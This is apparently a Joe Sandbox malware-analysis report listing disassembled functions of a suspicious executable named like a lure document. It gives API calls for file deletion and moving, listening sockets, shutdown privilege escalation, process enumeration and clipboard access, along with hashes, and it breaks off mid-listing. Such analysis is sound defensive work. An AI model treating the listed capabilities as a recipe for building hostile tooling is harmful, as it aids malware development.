                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                                • String ID:
                                                • API String ID: 1737998785-0
                                                • Opcode ID: d74d416c37e3eaee139c2904e1a5f8a3cae46bed48ecaaff94c9129fd2c649ad
                                                • Instruction ID: a7896154e44703511a67a6f449216359f525018486c8f9be7ec3c2b624f1b2f5
                                                • Opcode Fuzzy Hash: d74d416c37e3eaee139c2904e1a5f8a3cae46bed48ecaaff94c9129fd2c649ad
                                                • Instruction Fuzzy Hash: 3221A3352002149FDB20AF65EC59B7A77A8EF44710F15C016F986EB271CB72EC51CBA5
                                                Function 00DE3A2B Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D848A1,?,?,00D837C0,?), ref: 00D848CE
                                                  • Part of subcall function 00DE4CD3: GetFileAttributesW.KERNEL32(?,00DE3947), ref: 00DE4CD4
                                                • FindFirstFileW.KERNEL32(?,?), ref: 00DE3ADF
                                                • DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 00DE3B87
                                                • MoveFileW.KERNEL32(?,?), ref: 00DE3B9A
                                                • DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00DE3BB7
                                                • FindNextFileW.KERNEL32(00000000,00000010), ref: 00DE3BD9
                                                • FindClose.KERNEL32(00000000,?,?,?,?), ref: 00DE3BF5
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
                                                • String ID: \*.*
                                                • API String ID: 4002782344-1173974218
                                                • Opcode ID: 03eb59231de51ebf0c3ad4f1a1aaac0e40ce26fca750f0ee074592a4c072d3bb
                                                • Instruction ID: 5db6f022de328879649e768630de07064e3bead9f0a5fb19298bbfbad25935a6
                                                • Opcode Fuzzy Hash: 03eb59231de51ebf0c3ad4f1a1aaac0e40ce26fca750f0ee074592a4c072d3bb
                                                • Instruction Fuzzy Hash: BC515E31805189AACB15FBA1DD969FDB7B8EF14300F6841A9E44277091EF31AF49CB70
                                                Function 00DEF65E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D87F41: _memmove.LIBCMT ref: 00D87F82
                                                • FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00DEF6AB
                                                • Sleep.KERNEL32(0000000A), ref: 00DEF6DB
                                                • _wcscmp.LIBCMT ref: 00DEF6EF
                                                • _wcscmp.LIBCMT ref: 00DEF70A
                                                • FindNextFileW.KERNEL32(?,?), ref: 00DEF7A8
                                                • FindClose.KERNEL32(00000000), ref: 00DEF7BE
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
                                                • String ID: *.*
                                                • API String ID: 713712311-438819550
                                                • Opcode ID: 3d93034e01f150b2a57cc89aed1a04151f85ac1179ed7f89c58ee0d57a33547b
                                                • Instruction ID: 8f83e6a372442a24a20dcbe56c33087aea755767b2ccdddedcae79ffdb8d9ac2
                                                • Opcode Fuzzy Hash: 3d93034e01f150b2a57cc89aed1a04151f85ac1179ed7f89c58ee0d57a33547b
                                                • Instruction Fuzzy Hash: 8E416E7190024A9FCF15FF65CC89AEEBBB4FF05310F14456AE855A21A1DB309E94CBB0
                                                Function 00D94140 Relevance: 11.6, APIs: 1, Strings: 5, Instructions: 1132COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: ERCP$VUUU$VUUU$VUUU$VUUU
                                                • API String ID: 0-1546025612
                                                • Opcode ID: bc0b91d5d52450e184c8326d94ff90c5b484ee33dfd99d72d78037cc1f98db4b
                                                • Instruction ID: 0d996063db3685a960b0f0ac15cc108b542cf14f2003a0c9f643f05d5e6cf543
                                                • Opcode Fuzzy Hash: bc0b91d5d52450e184c8326d94ff90c5b484ee33dfd99d72d78037cc1f98db4b
                                                • Instruction Fuzzy Hash: 1EA27170E0421ACBDF24CF58C990FADB7B1BF55314F1881AAD85AA7281D7709E86DF60
                                                Function 00D958C0 Relevance: 11.0, APIs: 7, Instructions: 532COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _memmove
                                                • String ID:
                                                • API String ID: 4104443479-0
                                                • Opcode ID: af85f66f7920a18a5c36c9bc0728a32aecbe51b7b859aad9d58d90acca658666
                                                • Instruction ID: f13faf2ff9d510a285ad775522c8e491e8ab06c689805f5f84007652e6f05641
                                                • Opcode Fuzzy Hash: af85f66f7920a18a5c36c9bc0728a32aecbe51b7b859aad9d58d90acca658666
                                                • Instruction Fuzzy Hash: 5F12B970A00609EFDF04DFA5E985AAEB7F5FF48300F14822AE446A7254EB35AD11CB70
                                                Function 00DE545F Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DD8CC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00DD8D0D
                                                  • Part of subcall function 00DD8CC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00DD8D3A
                                                  • Part of subcall function 00DD8CC3: GetLastError.KERNEL32 ref: 00DD8D47
                                                • ExitWindowsEx.USER32(?,00000000), ref: 00DE549B
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
                                                • String ID: $@$SeShutdownPrivilege
                                                • API String ID: 2234035333-194228
                                                • Opcode ID: e0b13322b74bd37023b84943dfcb4fdd58db1aef94b9ab150059fc10e586b49b
                                                • Instruction ID: 7ccb580187cf3e43cee4f7a19c01ae174ad2a2b7062b47e0e95eebcd92b32460
                                                • Opcode Fuzzy Hash: e0b13322b74bd37023b84943dfcb4fdd58db1aef94b9ab150059fc10e586b49b
                                                • Instruction Fuzzy Hash: 01014731654B456EF738727AFC4ABBA7258EB007C7F280031FC46E20D7DA914C8082B0
                                                Function 00DF6596 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00DF65EF
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00DF65FE
                                                • bind.WSOCK32(00000000,?,00000010), ref: 00DF661A
                                                • listen.WSOCK32(00000000,00000005), ref: 00DF6629
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00DF6643
                                                • closesocket.WSOCK32(00000000,00000000), ref: 00DF6657
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ErrorLast$bindclosesocketlistensocket
                                                • String ID:
                                                • API String ID: 1279440585-0
                                                • Opcode ID: f99b1e828ab24439993f6f05ad95c570c84eee9b9a7396ee10db575f414758fc
                                                • Instruction ID: 4398bee7cf8a422d87c2a36e305a526565e1b5f9f70c69db8cd85ee2c40451f8
                                                • Opcode Fuzzy Hash: f99b1e828ab24439993f6f05ad95c570c84eee9b9a7396ee10db575f414758fc
                                                • Instruction Fuzzy Hash: D2218D312002049FCB10EF64C885B7EB7A9EF44720F19819AEA96E7791CB70ED458B71
                                                Function 00D95680 Relevance: 8.0, APIs: 5, Instructions: 516COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DA0FF6: std::exception::exception.LIBCMT ref: 00DA102C
                                                  • Part of subcall function 00DA0FF6: __CxxThrowException@8.LIBCMT ref: 00DA1041
                                                • _memmove.LIBCMT ref: 00DD062F
                                                • _memmove.LIBCMT ref: 00DD0744
                                                • _memmove.LIBCMT ref: 00DD07EB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: _memmove$Exception@8Throwstd::exception::exception
                                                • String ID:
                                                • API String ID: 1300846289-0
                                                • Opcode ID: 8810932869c81b17aba693a337284d1585e4ff9a8ef3e6fba84f0fb4f7c70c13
                                                • Instruction ID: 1b13a64c16c0129ed7a06308a0295dcbace4465b4603d04b798790a403a47edb
                                                • Opcode Fuzzy Hash: 8810932869c81b17aba693a337284d1585e4ff9a8ef3e6fba84f0fb4f7c70c13
                                                • Instruction Fuzzy Hash: 69028170A00209EFDF05DF65E981AAE7BB5EF84300F148069E846EB355EB31DA55CBB1
                                                Function 00D81287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D82612: GetWindowLongW.USER32(?,000000EB), ref: 00D82623
                                                • DefDlgProcW.USER32(?,?,?,?,?), ref: 00D819FA
                                                • GetSysColor.USER32(0000000F), ref: 00D81A4E
                                                • SetBkColor.GDI32(?,00000000), ref: 00D81A61
                                                  • Part of subcall function 00D81290: DefDlgProcW.USER32(?,00000020,?), ref: 00D812D8
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ColorProc$LongWindow
                                                • String ID:
                                                • API String ID: 3744519093-0
                                                • Opcode ID: edddbb312ec2e02623c7fc5dbdca84c9b252096d851405d7863dafd7f5af293a
                                                • Instruction ID: fc5bed83f67a4ff75c35b1e973ed2ff946fe3d38dadc7104fa14201e2bb9778a
                                                • Opcode Fuzzy Hash: edddbb312ec2e02623c7fc5dbdca84c9b252096d851405d7863dafd7f5af293a
                                                • Instruction Fuzzy Hash: 14A15578101545FEE62CBB29DC89DBF399CDB42351B28021BF443E61D2CA60DC4B93B6
                                                Function 00DF6A5A Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DF80A0: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00DF80CB
                                                • socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 00DF6AB1
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00DF6ADA
                                                • bind.WSOCK32(00000000,?,00000010), ref: 00DF6B13
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00DF6B20
                                                • closesocket.WSOCK32(00000000,00000000), ref: 00DF6B34
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ErrorLast$bindclosesocketinet_addrsocket
                                                • String ID:
                                                • API String ID: 99427753-0
                                                • Opcode ID: 7bbf4e85d3a11317a4718f2d9ee2bf7d3117fb50b57d41c08849585aa738030d
                                                • Instruction ID: cffffc12405126459ee2a35f62f6ca3e39a3bfdf6679ae306bf2314464dcc8ab
                                                • Opcode Fuzzy Hash: 7bbf4e85d3a11317a4718f2d9ee2bf7d3117fb50b57d41c08849585aa738030d
                                                • Instruction Fuzzy Hash: D741C575700214AFEB10BF64DC96F7EB7A8DB04710F488059FA5AAB3C2DA719D0187B1
                                                Function 00E055FD Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                • String ID:
                                                • API String ID: 292994002-0
                                                • Opcode ID: 9be49a70ea58abf76e48623f875d535bffdab0d5f01ebf02fe245d1b7c54aed3
                                                • Instruction ID: 247f6403d16839bdfae46aff22b5c16d4afbf38f4d6240e802bc073a80dc8b3a
                                                • Opcode Fuzzy Hash: 9be49a70ea58abf76e48623f875d535bffdab0d5f01ebf02fe245d1b7c54aed3
                                                • Instruction Fuzzy Hash: E211B2323009116FE7216F26EC44A6BB79CEF54721B445429F846E7281CB329D818EB5
                                                Function 00DFC304 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadLibraryA.KERNEL32(kernel32.dll,?,00DC1D88,?), ref: 00DFC312
                                                • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00DFC324
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: AddressLibraryLoadProc
                                                • String ID: GetSystemWow64DirectoryW$kernel32.dll
                                                • API String ID: 2574300362-1816364905
                                                • Opcode ID: 1182ad106beda9f40dd4fab787898191bada16de60ad73eb06cea1af3641edf9
                                                • Instruction ID: 0c595e19e999cf9a9b3b036c461f2c307d936d8903c4de82138608b631fc05e8
                                                • Opcode Fuzzy Hash: 1182ad106beda9f40dd4fab787898191bada16de60ad73eb06cea1af3641edf9
                                                • Instruction Fuzzy Hash: 64E08C7421030BCFCB344B26C808A9676D4EF08394B84D439E986E2660E770D8A0CAB0
                                                Function 00D93190 Relevance: 6.6, APIs: 4, Instructions: 587COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: __itow__swprintf
                                                • String ID:
                                                • API String ID: 674341424-0
                                                • Opcode ID: 7ddee063768044e932ac38e9eead76675465232e1cc09eb11502e967d7125cb0
                                                • Instruction ID: c1140ec006a6929e57befb00ec01332d644b59036fd62ec37d1a6796ef6098c2
                                                • Opcode Fuzzy Hash: 7ddee063768044e932ac38e9eead76675465232e1cc09eb11502e967d7125cb0
                                                • Instruction Fuzzy Hash: FC226A716083019FCB24EF64C891B6EB7E4EF88714F14491DF49A97291DB71EA04CBB2
                                                Function 00DFF121 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateToolhelp32Snapshot.KERNEL32 ref: 00DFF151
                                                • Process32FirstW.KERNEL32(00000000,?), ref: 00DFF15F
                                                  • Part of subcall function 00D87F41: _memmove.LIBCMT ref: 00D87F82
                                                • Process32NextW.KERNEL32(00000000,?), ref: 00DFF21F
                                                • CloseHandle.KERNEL32(00000000,?,?,?), ref: 00DFF22E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
                                                • String ID:
                                                • API String ID: 2576544623-0
                                                • Opcode ID: 9904fbebd6c0e9abc6aa2e3f7bf116331355dfa3b2b9be96adf0cfe02f9ab187
                                                • Instruction ID: 9515e44f76daa204a953801b73624e12cc981162c8d780178427b5a2066c2ff1
                                                • Opcode Fuzzy Hash: 9904fbebd6c0e9abc6aa2e3f7bf116331355dfa3b2b9be96adf0cfe02f9ab187
                                                • Instruction Fuzzy Hash: 2E516B71504304AFD314EF24DC85A6BBBE8EF94710F54482DF596972A1EB70E908CBB2
                                                Function 00DE40B1 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • CreateFileW.KERNEL32(?,C0000000,00000003,00000000,00000003,00000080,00000000), ref: 00DE40D1
                                                • _memset.LIBCMT ref: 00DE40F2
                                                • DeviceIoControl.KERNEL32(00000000,0004D02C,?,00000200,?,00000200,?,00000000), ref: 00DE4144
                                                • CloseHandle.KERNEL32(00000000), ref: 00DE414D
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CloseControlCreateDeviceFileHandle_memset
                                                • String ID:
                                                • API String ID: 1157408455-0
                                                • Opcode ID: cc61be8e7abe1e80e341a07644ab98608ac9ff14b1052f14478a95a992e9e0d0
                                                • Instruction ID: f31da3f75284c471027f389a24da1939cbf10786752a4e4963bf9f127a5ee787
                                                • Opcode Fuzzy Hash: cc61be8e7abe1e80e341a07644ab98608ac9ff14b1052f14478a95a992e9e0d0
                                                • Instruction Fuzzy Hash: 6D11CD759013287AD7309BA69C4DFABBB7CEF45760F1041A6F908E7190D6744E84CBB4
                                                Function 00DDEB07 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON
                                                Download Yara Rule
                                                APIs
                                                • lstrlenW.KERNEL32(?,?,?,00000000), ref: 00DDEB19
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: lstrlen
                                                • String ID: ($|
                                                • API String ID: 1659193697-1631851259
                                                • Opcode ID: 94fe64956ea93e54d818b5268b5e7c9949312726223681efff0865856c8c1996
                                                • Instruction ID: e5d03150d64020d0cd1056adc9d4be4821577a3d51e6b75a503f864ebe99a81f
                                                • Opcode Fuzzy Hash: 94fe64956ea93e54d818b5268b5e7c9949312726223681efff0865856c8c1996
                                                • Instruction Fuzzy Hash: E1323675A007059FD728DF29C481A6AB7F1FF48310B15C56EE89ADB3A1E770E941CB50
                                                Function 00DF25E2 Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000), ref: 00DF26D5
